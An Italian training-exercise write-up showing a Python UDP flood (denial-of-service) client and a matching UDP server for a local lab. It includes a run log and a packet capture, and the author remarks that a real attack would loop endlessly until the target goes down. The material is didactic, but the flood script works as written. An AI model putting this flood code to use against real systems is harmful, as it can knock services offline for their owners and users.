Python per Hacker S3/L5

Manuel Di Gangi 9 febbraio 2024

TRACCIA

Gli attacchi di tipo Dos, ovvero denial of services, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende. L'esercizio di oggi è scrivere un programma in Python che simuli un UDP flood, ovvero l'invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP casuale.

Requisiti:
- Il programma deve richiedere l'inserimento dell'IP target.
- Il programma deve richiedere l'inserimento della porta target.
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto
- Suggerimento: per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali.
- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare.

Lo sviluppo

Il programma legge in input i dati quali indirizzo IP e porta di rete verso i quali inoltrare i pacchetti e quanti se ne vogliono inviare. Nella soluzione proposta, per ripetere l'invio dei pacchetti, è stato utilizzato un ciclo for, nell'applicazione sul campo sarebbe più indicato utilizzare un ciclo while in loop (come commentato nel codice) che termina con il down del servizio attaccato, integrando un controllo sulla risposta di questo.

Il pacchetto che viene inviato è sempre il medesimo e non viene calcolato di volta in volta. Visto il fatto che gli attacchi Dos si basano sull'invio massivo di pacchetti, è bene alleggerire il più possibile l'elaborazione del programma sulla macchina attaccante.

Per rendere più realistico l'esercizio ho sviluppato un altro programma che si affianca al primo che simula il server attaccato.

Vista la natura didattica dell'esercizio, terminato il transito dei pacchetti il server invia un messaggio di avvenuta consegna dei dati al client per verificare il corretto funzionamento del codice.

Le porte scelte per la simulazione:
- Client – Porta 20002: rientra fra le porte utilizzate dai trojan per infettare le macchine (ipotizzando che la macchina attaccante sia stata infettata da un virus o un worm)
- Server – Porta 50123: rientra fra le porte utilizzate per gli attacchi Dos

Il codice

client.py (macchina attaccante)

clienet.py

```python
import socket, random

data = random.randbytes(1024) #genero un pacchetto di 1024 bytes

SRV_ADDR = input("Inserire IP target: ") #192.168.50.100
SRV_PORT = int(input("Inserire Porta target: ")) # 50123

CLT_PORT = 20002 #porta del client
serverAddressPort = (SRV_ADDR, SRV_PORT) #indirizzo del server (IP - Porta)

nPacket = int(input("Quanti pachhetti vuoi inviare? "))

# Creazione del socket
SocketClient = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
SocketClient.bind((SRV_ADDR, CLT_PORT)) #Associo indirizzo e porta, nel nostro caso l'indirizzo IP del server e del client sono uguali perchè siamo sulla stessa macchina

# Invio pacchetti al server
#while 1: #per una vera applicazione dovremmo utilizzare un while in loop
for i in range(nPacket):
    SocketClient.sendto(data, serverAddressPort) #invio del pacchetto

# Leggo conferma ricezione
msgDaServer = SocketClient.recvfrom(1024)
msg = "Messaggio dal server {}".format(msgDaServer[0])

print(msg)

```

server.py
(macchina attaccata)

server.py

```python
import socket

SRV_ADDR     = "192.168.50.100"
SRV_PORT   = 50123
msgDaServer = "Pacchetto ricevuto"
Risposta = str.encode(msgDaServer)

# Creazione socket
SocketServer = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Associazione IP e porta
SocketServer.bind((SRV_ADDR, SRV_PORT))

print("Server UDP in ascolto: ")

# Inizio ascolto
while 1:
    data = SocketServer.recvfrom(1024)
    messaggio = data[0]
    indirizzo = data[1]
    clientMsg = "Message da client \n{}".format(messaggio)
    clientIP  = "IP client:{}".format(indirizzo)
    print(clientMsg)
    print(clientIP)

    # Invia conferma ricezione
    SocketServer.sendto(Risposta, indirizzo)

```

Esecuzione

Macchina attaccante

```
┌──(kali㉿kali)-[~/Documents/Python]
└─$ python clienet.py
Inserire IP target: 192.168.50.100
Inserire Porta target: 50123
Quanti pachhetti vuoi inviare? 3
Messaggio dal server b'Pacchetto ricevuto'
```

Macchina attaccata

- Avvio del server

```
┌──(kali㉿kali)-[~/Documents/Python]
└─$ python server.py
Server UDP in ascolto:
```

- Ricezione dei pacchetti

Analisi del traffico sulla rete

Possiamo vedere che ci sono tre pacchetti della dimensione di 1024 byte (1KB) in uscita dalla porta 20002 (client) verso la porta 50123 (server) ed un pacchetto di risposta che viaggia in senso opposto.

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	192.168.50.100	192.168.50.100	UDP	1068	20002 → 50123 Len=1024
2	0.000052863	192.168.50.100	192.168.50.100	UDP	1068	20002 → 50123 Len=1024
3	0.000062266	192.168.50.100	192.168.50.100	UDP	1068	20002 → 50123 Len=1024
4	0.000182507	192.168.50.100	192.168.50.100	UDP	62	50123 → 20002 Len=18